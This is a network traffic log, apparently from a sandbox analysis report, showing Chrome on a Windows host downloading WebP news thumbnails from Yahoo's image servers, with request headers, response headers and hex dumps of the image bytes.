2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 52 49 46 46 c8 1f 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 63 01 00 b3 00 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFFWEBPVP8X cICCP00ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 5b 7d 42 93 fc 99 c6 2b fc d1 d8 67 df b7 f4 d5 45 f6 98 a6 a0 4e fb ed db a6 5e 60 9a 9c 64 5c 49 79 57 0d 06 4b 00 74 c1 c5 5a 48 38 cb e4 52 9f 9d 76 8e ad 4a c8 ea 1f 7a 67 de c3 60 8a 18 5e 85 cb ba f3 e0 3c 26 ae b5 71 5f be 70 a5 a6 11 4e 20 f6 69 04 bb 4c 8a ac fc 94 66 1d 46 b1 ba 61 f6 39 9b 69 25 a3 6b 0e 31 96 f8 4d 84 1f 64 d3 2c dd cd 81 65 0d e9 eb 5e 7b 58 a1 d5 79 ea e7 4a 26 c3 4e c6 34 d7 a6 15 e3 44 ed 4e 3d fe 8d 2a 9c aa f5 78 c4 f4 e8 5d 73 8d 63 14 a5 38 8c 47 23 a1 7f 4e ed 4d 5b 3f e7 64 cf c5 81 13 2c 6f 31 fa 14 c0 0c e4 70 19 bb 11 91 0d e5 4c eb 20 e9 e5 79 87 93 ed 07 03 4a 36 61 91 fb a4 0f f0 ba bb d5 b6 b5 d2 7b ee 29 d8 8a a7 e1 0c 30 9b 7c 6e 9e 31 7e a9 e3 ca 9b 6a 0a 5d 5f e1 f6 12 7a d5 33 ae 2d b8 e1 63 3d e3 f5 dc Data Ascii: [}B+gEN^`d\IyWKtZH8RvJzg`^<&q_pN iLfFa9i%k1Md,e^{XyJ&N4DN=*x]sc8G#NM[?d,o1pL yJ6a{)0\|n1~j]_z3-c=
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 3f 0c 02 9f 3e 82 3f fd 92 4d 6a af b3 1d 17 cb 6e 3f 2e 9d d6 27 13 40 55 55 49 ea 22 d1 21 bf b2 58 27 49 a4 34 2a f8 a6 98 ac 8e 57 8d 07 19 ce 73 9c a2 5b c7 42 00 06 8e c1 e3 30 32 a0 cc 91 92 70 fa 71 cb 6f d5 eb 05 71 82 57 10 9c ae c5 72 2f 05 0f 60 fb d6 b8 1f 26 ea cb d2 57 35 81 f2 4f 8c b4 66 2e a5 0f 1d 44 af ae 41 be 86 8b a3 8c dc 8e 98 f8 8d 5b 2d 07 de 7f 77 04 4c 71 bf 90 55 b0 c7 07 38 62 5c b8 2d 90 f2 3d d4 0b 47 98 ae 3f a6 e5 c6 bd 41 53 2a af 2c 6a 77 f9 ad 70 d3 37 17 2c 09 12 e3 9e a9 d8 29 1e df 41 2c c0 9f 77 c0 fe 17 e2 30 af c7 77 0e 7b 9f 9b 47 9b 84 78 c3 d9 cb 4f d1 9f 3b d5 3a e0 d2 c0 58 0a 64 7d 5b 53 41 b0 f2 33 65 e9 32 9a 86 2c 22 b4 c0 ed 4b db ee 38 02 50 1e 4b 3c fe e3 42 89 1e 13 5f c0 b2 71 c5 ce 55 80 f1 03 03 Data Ascii: ?>?Mjn?.'@UUI"!X'I4Ws[B02pqoqWr/`&W5Of.DA[-wLqU8b\-=G?AS,jwp7,)A,w0w{GxO;:Xd}[SA3e2,"K8PK<B_qU
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: b2 a5 f2 f7 44 e2 79 2f aa 4c 26 92 5a fe 13 fd ce ed 26 67 70 62 31 5b 46 7b 0e be 61 1e 4c 36 fe 52 08 58 29 bb 9c 8d 31 65 18 ee 6d 0b 48 e0 cd a1 1e 6f f5 63 80 91 97 f0 35 a9 5b 89 93 ae cc ca d9 68 ad 73 9f aa 86 06 14 74 4b ea 8d 07 9a d1 b9 0c 9d 1e 6c 2a 5c e6 f0 e3 b3 2b 4b 46 b0 7f fb 18 a1 7c 83 2f 07 67 92 ca c9 35 9b 45 f9 3c cf 13 ba a2 93 9a a3 27 8e 4a 67 ca 12 49 f2 9c 06 6f 72 79 2c 94 fb 06 fa 45 5c 60 24 46 ed e1 8d 0b cd ab 73 c3 d9 0e a9 14 57 87 a1 6a 6d 23 44 99 c6 42 f6 36 87 13 ab 81 4e 0a af 56 10 57 ae 8e 3c 4a c9 30 ad 5d 4d 99 27 ba e3 86 b7 65 4c 3a 8c b2 7d ce fa c1 6b 2c 0b 36 6e 92 7b 50 fc 2a 2f 49 3d 2a 76 b3 62 30 73 af ea 2e 84 8c e3 f8 5f a2 af ed ca 88 a6 7d 49 fe 8c 1a 8b 06 61 1d f6 0c 43 fa 02 78 17 97 a2 c2 29 Data Ascii: Dy/L&Z&gpb1[F{aL6RX)1emHoc5[hstKl\+KF\|/g5E<'JgIory,E\`$FsWjm#DB6NVW<J0]M'eL:}k,6n{P/I=*vb0s._}IaCx)
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 48 19 d5 be d7 3a ad 5c 87 ab 89 53 3e 2f ad f1 14 6f 54 f9 33 2b 5d 78 0c da 40 f9 1e 40 8c 10 48 e1 43 ee aa 4f 80 af 5b 6e d1 69 9f 00 48 dc 59 3a 12 a2 65 f4 3f 65 35 5d 09 70 d2 48 9d 11 b5 78 19 c2 6b ad 21 65 73 c4 96 bd ce 3b ad dd 34 6d 95 e8 fa 3b dc f5 86 c7 14 39 a5 62 18 63 d4 37 28 33 a4 68 9d 4d 6b aa 07 40 cf 91 d3 74 0f 6e 9d 6d 4e 40 9c 84 90 7c a2 ed 70 99 41 47 cf f3 c9 28 73 4f 4e 58 68 e8 24 a8 24 01 c8 37 1c 9b 5c d4 97 c1 03 28 14 1a 7f d8 8e 95 48 90 ff a3 62 57 1c 9d 10 e4 4d 50 8b e7 43 ca b1 e8 b0 62 2e a3 3f 6a 01 90 d5 f4 2b 7c e6 af 69 3e 08 ce 3b c5 d1 53 84 ba b1 14 44 00 a2 3a 55 2d 0d ef d8 db 8a 92 4d 01 4c 15 4a cc 11 49 1e 74 fa 49 2c 94 7a 7a 3c cf 87 17 2f 84 95 27 67 ab e3 9f 4c 46 df 83 c9 c3 c3 b8 53 08 c1 ec f6 Data Ascii: H:\S>/oT3+]x@@HCO[niHY:e?e5]pHxk!es;4m;9bc7(3hMk@tnmN@\|pAG(sONXh$$7\(HbWMPCb.?j+\|i>;SD:U-MLJItI,zz</'gLFS
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 70 f0 b0 5f 29 9b 48 ed 30 72 8c 7b be a1 66 aa 67 5a 34 ed c8 87 e9 40 24 75 8f 0a ec 27 07 d6 1b c5 f1 03 35 de af 4f fa 7c b1 9c 63 8a 07 18 af 79 67 18 cf d4 b3 da db c4 99 47 5b d2 40 fc 87 3e 1f db e2 b8 11 c9 30 a9 b5 81 e9 5f ab ad c5 8a 2b 0b dc be 9e 6b a1 d5 e9 b0 ca 0c 08 01 f1 fb 2a a6 f5 0e 0e 2c b5 e6 01 65 df 01 ce 69 bd a0 5a b8 85 67 4d fd 1c 4f f1 56 14 ef 01 13 25 c7 fa cd 9e dc c1 53 27 b1 25 ca 3c 00 d4 e9 b3 b1 b8 7e a1 ac 53 cb b0 b8 64 b7 20 34 c8 07 07 7e 64 cc 4a 59 8f 48 d4 24 0d 40 7b ad 5b b1 73 87 4a 88 59 29 55 20 31 a8 10 2b 85 89 e9 c8 1f 9b 8e 7a 98 a2 3f f2 22 e9 ec ee b2 66 72 54 3d 4e 97 91 e7 24 69 0d d2 5a b5 20 cf 1e 84 1e 81 2a 31 0a 9f 57 19 0d 1c f6 66 04 a7 e0 18 4f a5 c7 90 dd 3f 30 0e 49 ff da 20 dc c8 e9 a7 Data Ascii: p_)H0r{fgZ4@$u'5O\|cygG[@>0_+k,eiZgMOV%S'%<~Sd 4~dJYH$@{[sJY)U 1+z?"frT=N$iZ 1WfO?0I
2024-04-27 22:41:48 UTC	344	IN	Data Raw: e3 dd 8a 10 e1 0a 1b 9c d3 06 d2 cb 3c 5b f4 e1 b4 d2 dc 54 29 e3 5a 4d 88 d9 1c 9d 7c 9c aa 6c 91 49 34 ec 17 ea ea a9 c0 ea 1d d6 f7 4e 98 de 3c 3e 9c 53 18 c2 ca 81 1e 8e c1 70 1f 99 b8 ff a3 74 bb e7 e9 d7 f1 69 18 52 10 d3 d4 78 2b 88 64 fe 41 04 04 56 5f 9f c6 3b bf c8 6f 96 66 a2 48 d9 92 b3 31 35 3f ea b6 09 6c ad 59 01 ff 4a 5d c4 38 71 90 a7 0f f7 3a 95 b2 b1 ed 69 54 01 73 2a 54 23 82 5f 0a bd 42 ab f0 56 46 54 3c 99 3c 04 ef 44 b4 1b d8 13 2b 35 6f 74 76 80 3e 1a 23 5c cd 8d cc 73 d7 75 56 54 26 9b f7 ad 69 5f 3f 7f 5e 29 5b 5c ba ec 41 88 66 ec 08 ba 8d 4f fb 15 76 8d f1 67 d0 46 6b 93 5f e1 7e 3f a8 3c df 4e 8e e4 05 cc 12 41 d5 84 39 94 ae 0a a5 03 45 9e 7a b7 91 62 f0 05 a3 c6 25 cc b0 00 d2 e3 7c a5 c1 c3 31 03 3f ad 09 d2 c9 8b 0f 66 29 Data Ascii: <[T)ZM\|lI4N<>SptiRx+dAV_;ofH15?lYJ]8q:iTs*T#_BVFT<<D+5otv>#\suVT&i_?^)[\AfOvgFk_~?<NA9Ezb%\|1?f)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49791	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	763	OUT	GET /uu/api/res/1.2/I_CWQDhNbfRywZcHGDk5jA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	1296	IN	HTTP/1.1 200 OK Content-Length: 5394 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 259988495893246509201017082312240814486,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.webp" Edge-Cache-Tag: 259988495893246509201017082312240814486,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "d2f829468a2d437908d23f752c1791d2" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 17:42:20 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=5394,owidth=3500,oheight=1971,obytes=407844,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 18:40:26 GMT X-Served-By: cache-lga21941-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714243227.544932,VS0,VE140 Age: 14482 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-lga21941-LGA cld_latency: 140 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:48 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 52 49 46 46 0a 15 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 63 01 00 b3 00 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFFWEBPVP8X cICCP00ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 38 25 57 df fb 20 01 5c f0 de 77 0c 6a 17 e1 80 a3 bc bd 98 38 a8 fd ee 3a bf 04 93 73 c5 9d e2 88 66 38 43 0b 54 15 83 d2 0c ac 77 a0 70 92 ec 04 cb bd 10 c9 6f ba 65 9b d1 0e c2 ce 42 28 77 35 24 07 76 94 87 b1 5f 9f 57 04 50 37 e4 3d 20 b1 0d a3 be 68 c5 f7 f5 63 b2 5f f1 7f 7e 45 da 69 a0 f2 53 93 12 aa 64 0a 0a fa 18 08 73 03 18 45 19 67 0b 98 df d8 bf 23 09 95 0f 26 1e 17 49 3f f6 c8 5b f2 12 37 26 8a 98 6f 15 db e0 b8 e1 ed c9 aa 41 1d dc 0f fe cf 13 2b cc 20 d7 b7 b8 21 80 0e 7f ff 9f a1 32 b2 7b af 2f 1a ce 41 c3 84 58 20 a6 be 83 0d 1e 00 45 51 cb 23 1b 7f 16 3e 4b 17 fb d3 a5 a9 86 d5 46 e3 ac 94 d7 6b d1 0c 7b 18 80 d4 06 6e 0e bf c0 af 52 d3 41 a3 15 27 6c b9 00 2c 97 e8 12 8b 26 84 62 a6 80 f1 03 6a 7e c8 89 98 ec 45 2b f0 c4 07 d6 4a 93 9f Data Ascii: 8%W \wj8:sf8CTwpoeB(w5$v_WP7= hc_~EiSdsEg#&I?[7&oA+ !2{/AX EQ#>KFk{nRA'l,&bj~E+J
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: ad 99 4a b9 36 f4 9f 1e 28 19 59 a4 46 f5 a2 71 27 71 9c e6 49 6c 5a 5b fb fd 30 f2 97 31 cd 7e 00 c9 fd 96 bc 1e 8c a6 7a 4a 31 73 a7 47 9c 0b 85 66 b0 53 a0 fe 52 81 87 f6 ed a5 14 a1 7d be 12 2d f8 21 7a 00 d0 33 5f 9e 1d ab 9b bd a9 8d b7 bc a3 88 4f 2e 68 8b 20 dd 64 10 21 d4 9f a5 da a0 45 02 b2 cd 5d b0 03 13 42 00 03 40 2f f2 1a 7a e3 16 de cd 5a f5 8a 04 d5 1e f5 dc 72 99 48 38 69 0f fa da 49 cb df b6 de dd 82 e2 43 32 be 96 fc 59 b1 59 63 3c 33 e3 13 8e 77 37 98 ea 9e 33 18 73 9e 64 b8 e4 74 91 3f b0 74 63 56 27 8a 89 1f 09 ff ae 89 7b 6d 95 25 2d e9 56 e4 4f ee e9 b8 52 20 72 bf e6 a5 83 4c 2b 95 5c a7 71 b3 0c a9 69 dc d8 24 3e 27 c7 10 83 29 f1 64 eb 2b 17 52 15 0d 05 1f 50 2f 31 f9 0a c8 1b a3 e4 b9 7c 24 bf ca 32 3a 62 63 2b f0 ef 2c 5e de Data Ascii: J6(YFq'qIlZ[01~zJ1sGfSR}-!z3_O.h d!E]B@/zZrH8iIC2YYc<3w73sdt?tcV'{m%-VOR rL+\qi$>')d+RP/1\|$2:bc+,^
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: a6 d1 4b 9d a6 14 af a7 27 63 94 7b 51 9b 50 e0 5d e5 dc a9 29 0c 26 ea 02 6e 7f 01 ac 42 7a 97 1a 71 3b be e7 36 2a 9b 4a 30 56 28 48 f1 38 7c c8 9e 2a 1c 06 09 7c 5c a9 39 8f 21 86 39 b7 f3 9f e2 75 ad 8f 40 3a 13 80 44 23 5a d1 75 82 39 bf ad 9f 7c 5e 41 87 48 48 dc b6 95 14 b3 54 f1 7a 8c 6d a2 6b 35 c2 40 26 08 5c fd 1d 15 73 5f b8 9e 3e 98 00 c5 58 4d 28 d3 7d c0 7b 1d 55 d9 e3 66 5c a0 b5 6d 6b 13 8c 11 42 6e d9 2a ca c0 15 58 fb d7 c2 b5 cf d3 0b ae e3 c5 1d 30 2c e7 b4 e4 de a0 ac f2 08 0c bc f7 22 01 23 66 f7 a5 ac 7d 62 fa 7e 44 c5 ae 41 52 87 0a 2e 79 c4 d4 f2 87 16 c3 47 23 37 1f 77 c9 1c 8f 47 61 0f 26 d5 50 ba 08 ca f5 9c 93 9d 28 fa 04 bd 72 97 99 b4 23 eb 92 70 c3 1a 14 53 3a ed cc ca 7d 84 fc 34 3a 19 6b 4b 42 75 fd bf bd db 19 cf 91 7e Data Ascii: K'c{QP])&nBzq;6J0V(H8\|\|\9!9u@:D#Zu9\|^AHHTzmk5@&\s_>XM(}{Uf\mkBn*X0,"#f}b~DAR.yG#7wGa&P(r#pS:}4:kKBu~
2024-04-27 22:41:48 UTC	194	IN	Data Raw: ff ba 63 b1 f4 f3 d6 8e bd 4b ff 85 cb 03 fc 09 db 86 a8 68 8f 90 47 7d 70 f6 9f af f8 1d cc c3 b2 f6 a2 16 d9 76 99 2c 1a 35 3b d4 82 50 66 f8 22 43 bc af a6 f3 9a a1 80 1f 4c e1 2e 54 7c aa 50 76 11 fd 59 c5 91 00 ba 8f 9f 27 0f 06 6f 6a d7 56 f0 10 a1 2d b6 98 44 e3 ea 16 af 5b 5f ba 30 24 82 53 1b 4c e8 e3 2f 5b b4 04 40 9e f9 7c 63 4d 6f c9 0d 96 c7 e3 a7 31 bb fb 7b f6 e5 fc 27 79 93 bb cd 6f 2a 5a 26 a5 83 fd 51 ee dc dd 26 77 de 98 57 ea 4e d5 9f 8b b1 c4 af ca 14 20 92 59 7e ea 94 ff 86 26 db 6c 06 a4 fb 5b 4c 8e 00 0e 5f 4a 42 53 07 28 82 43 d2 0c 94 ac 3d 60 00 00 Data Ascii: cKhG}pv,5;Pf"CL.T\|PvY'ojV-D[_0$SL/[@\|cMo1{'yo*Z&Q&wWN Y~&l[L_JBS(C=`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49792	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	750	OUT	GET /uu/api/res/1.2/ZIWiYPSpTqkV1ID50tQY3g--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/7868482ad7432882868004637e3628f8.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	1283	IN	HTTP/1.1 200 OK Content-Length: 27238 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 393176668479281777013927598805146387423,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="7868482ad7432882868004637e3628f8.webp" Edge-Cache-Tag: 393176668479281777013927598805146387423,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "09fd661d13ca2e2fd8ce9b43d07f43cc" Last-Modified: Sat, 27 Apr 2024 13:06:47 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=27238,owidth=960,oheight=540,obytes=116359,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: fee4beb7be897a9be323a9c45d219fd7 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 13:07:43 GMT X-Served-By: cache-lga21975-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714223264.659892,VS0,VE1 Age: 34445 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: fee4beb7be897a9be323a9c45d219fd7 cld_by: cache-lga21975-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:48 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 52 49 46 46 5e 6a 00 00 57 45 42 50 56 50 38 20 52 6a 00 00 30 64 01 9d 01 2a 18 02 1c 01 3e 79 34 95 46 a4 a3 22 21 2d 96 bb f8 90 0f 09 4d dc 19 12 bb eb 2e fd ec 78 a9 26 de 92 85 ae 3e df fc 7f 3f 4e 4f f2 a7 ec 7a 5d e2 bd d7 d9 9b fb 4f 7d 3f 4b 7f d6 bd 46 7c d1 7a 88 f3 39 fb 95 ea cb ea 0f fb 8f a3 77 a6 27 ad 6f a2 17 4d 2f f7 9b 5f 3e 50 62 6b e6 5f 5c ff 13 fc 4f a3 36 27 fb 4e d4 6b c1 7f 4c 7b 58 fe e3 bd bf 9c ba 85 fb c7 cf 3f f4 fb 4c f7 df f9 be 81 df 05 7e 57 ce b3 f1 3c d6 fd d7 fd ff b0 0f 97 3f f9 3c 39 bf 2b ff 6f d8 23 f5 8f ac 37 fd 3e 52 ff 77 f5 13 fe c3 d5 37 d2 74 9b 3f a7 bd 73 60 08 3d 73 eb 1c 1f f4 e4 b0 d7 d0 8a c5 97 88 c4 b8 75 b1 df 35 b6 f6 02 b5 48 39 46 5e ec fc 31 a9 b0 e8 32 b0 78 00 b7 32 10 7a 80 78 3d 99 ab d1 Data Ascii: RIFF^jWEBPVP8 Rj0d*>y4F"!-M.x&>?NOz]O}?KF\|z9w'oM/_>Pbk_\O6'NkL{X?L~W<?<9+o#7>Rw7t?s`=su5H9F^12x2zx=
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 3e d0 03 f1 fb 06 78 74 c8 f5 46 50 fc 31 08 5e a6 a4 b9 82 e2 24 78 b3 2f c2 02 ed ef 99 40 e8 d2 90 d5 b5 13 7c 50 e0 85 3c 94 23 4c 11 22 6c 55 46 6d 41 d1 95 a2 eb 89 49 70 87 c5 88 69 e2 aa c6 bd 32 ae 63 3f 47 e5 f4 1f a8 2a 2e e2 9b 26 2c 50 fd 38 de 67 18 fe 45 04 62 7a d5 f8 92 f7 b3 98 60 8e aa 03 f8 e6 5f 0f 12 36 42 30 5b 81 35 25 09 04 24 04 d6 3b 32 32 82 6b 0d 0e 8e ff 54 0f 93 f1 59 d6 5f d2 87 aa 89 75 c5 3e 9e cf b2 b0 08 a8 f8 65 99 8b db 76 a3 e3 66 06 c9 54 52 0b ec c2 32 3c a9 11 7c 3f dc 29 d4 77 4b b4 0d 6d a3 35 ff 97 0f 73 69 de c9 5d 6a 35 f0 93 e2 e4 13 c7 c8 79 01 09 28 f3 df 30 a7 3f 8c d0 04 d5 c7 9e 33 41 ff 58 bf 82 64 41 66 ec 56 ee 2c 81 e0 9b 27 f1 5a c8 7e a0 00 ed f3 5c 31 e7 e5 ef c8 5e 35 df fd 01 25 2e 5f e8 1b 95 Data Ascii: >xtFP1^$x/@\|P<#L"lUFmAIpi2c?G*.&,P8gEbz`_6B0[5%$;22kTY_u>evfTR2<\|?)wKm5si]j5y(0?3AXdAfV,'Z~\1^5%._
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 4b 37 5c ea 7b db ad 49 7f 73 e7 a2 05 db ee 68 23 20 9b e3 15 08 f5 5c e0 85 51 28 fd 0f 3d 69 d4 ad 56 50 84 7b 58 82 24 53 46 b0 08 17 5f 4b a0 73 08 93 a5 c6 23 ed e6 26 9a a5 99 67 c1 a4 98 3a 2f 04 9e ee fd 34 55 08 83 dc 23 47 7a aa 3e cc f7 bf 04 ad 38 91 71 30 98 86 56 2a 63 ee bb 31 35 c8 2e e5 e5 df b4 54 0e ef 6d 6c b4 39 4d a2 77 31 4f ef d3 9e 08 dd f2 99 28 e9 e0 07 b2 1e 7a f4 18 d3 92 44 a6 6d 74 92 7a 31 6d e7 83 9b fe 34 7f d4 81 28 cb e6 ba 54 9b f0 70 96 0f 67 32 ed e1 9e e5 5b de 61 80 ec 2b 06 18 a7 ef 0b 4e 66 bb a0 90 32 19 f4 20 31 9a 72 73 a6 d4 96 d8 b5 d3 14 c9 8d 6e a7 34 d0 8c 81 57 2f 60 4e 6e 26 e1 84 db 66 f2 34 bc b9 21 4b 03 cd cd 6d 3a a3 5a aa eb c6 52 82 47 ed be 92 a9 45 f7 47 51 ad 2b 79 a2 b0 eb 17 8b c5 cb 29 f8 Data Ascii: K7\{Ish# \Q(=iVP{X$SF_Ks#&g:/4U#Gz>8q0V*c15.Tml9Mw1O(zDmtz1m4(Tpg2[a+Nf2 1rsn4W/`Nn&f4!Km:ZRGEGQ+y)
